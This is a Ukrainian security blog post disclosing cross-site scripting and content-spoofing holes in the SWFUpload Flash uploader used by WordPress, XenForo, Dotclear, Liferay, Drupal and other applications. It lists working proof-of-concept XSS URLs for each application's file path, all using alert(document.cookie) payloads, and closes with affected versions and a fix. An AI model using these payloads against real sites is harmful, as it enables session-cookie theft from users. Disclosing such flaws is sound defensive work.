Уразливості в SWFUpload в численних веб додатках: WordPress, Dotclear, InstantCMS, AionWeb та інші
23:52 12.03.2013Раніше я писав про Content Spoofing та Cross-Site Scripting уразливості в SWFUpload. Це дуже популярна флешка, що використовується на десятках мільйонів сайтів та в сотнях веб додатків (таких як WordPress, лише один цей веб додаток використовується більше ніж на 62 мільйонах сайтів за даними wordpress.com).
Торік я писав про іншу XSS дірку в SWFUpload і зазначав, що існує багато інших веб додатків з вразливим SWFUpload. Всі вони вразливі до цих нових уразливостей, за виключенням swfupload.swf, що постачається з WordPress починаючи з версії 3.3.2.
Є декілька імен файлів SWFUpload: swfupload.swf, swfupload_f9.swf, swfupload_f8.swf, swfupload_f10.swf і swfupload_f11.swf. Багато веб додатків включають декілька файлів SWFUpload. Не всі ці флешки вразливі до нивих дірок: swfupload_f8.swf і swfupload_f9.swf не вразливі (вони не мають функціоналу buttonText).
Тому з них вразливі наступні веб додатки (та багато інших веб додатків):
swfupload.swf - Dotclear, XenForo, InstantCMS, AionWeb, Dolphin, SwfUploadPanel for TYPO3 CMS, SentinelleOnAir.
swfupload_f10.swf - SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE, Liferay Portal (Community Edition і Enterprise Edition), Swfupload for Drupal, SWFUpload for Codeigniter, SentinelleOnAir.
swfupload_f11.swf - SentinelleOnAir.
А також вразливий InfoGlue (про XSS уразливість в ZeroClipboard.swf в якому я писав минулого місяця), що також містить SWFUpload.
В SWFUpload є Content Spoofing та Cross-Site Scripting уразливості, як я зазначив у вищезгаданому записі. Це приклади даної XSS уразливості в різних веб додатках.
Cross-Site Scripting (WASC-08):
WordPress:
http://site/wp-includes/js/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Dotclear:
http://site/inc/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
XenForo:
http://site/js/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
InstantCMS:
http://site/includes/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
AionWeb:
http://site/engine/classes/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Dolphin:
http://site/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
SwfUploadPanel for TYPO3 CMS:
http://site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Archiv plugin for TinyMCE:
http://site/js/tiny_mce/plugins/Archiv/swf/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Liferay Portal:
http://site/html/js/misc/swfupload/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Swfupload for Drupal:
http://site/js/libs/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
SWFUpload for Codeigniter:
http://site/www/swf/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
SentinelleOnAir:
http://site/upload/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/upload/swfupload/swfupload10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/upload/swfupload/swfupload11.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
InfoGlue:
Попередні XSS уразливості:
http://site/webapp/applications/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/webapp/applications/swfupload/swfupload_f8.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/webapp/applications/swfupload/swfupload_f9.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
Нова XSS уразливість:
http://site/webapp/applications/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Вразливі всі веб додатки з SWFUpload (v2.2.0.1 та попередні версії). Вразливі WordPress 2.7 - 3.3.1, XenForo 1.0.0 - 1.1.2 та потенційно всі версії Dotclear, InstantCMS, AionWeb, Dolphin, SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE, Liferay Portal (Community Edition, що раніше називався Standard Edition, і Enterprise Edition), Swfupload for Drupal, SWFUpload for Codeigniter та SentinelleOnAir.
Для виправлення уразливості потрібно використати swfupload.swf з WordPress 3.3.2 та наступних версій (в цій флешці були виправлені як попередня XSS, так і ці CS та XSS уразливості).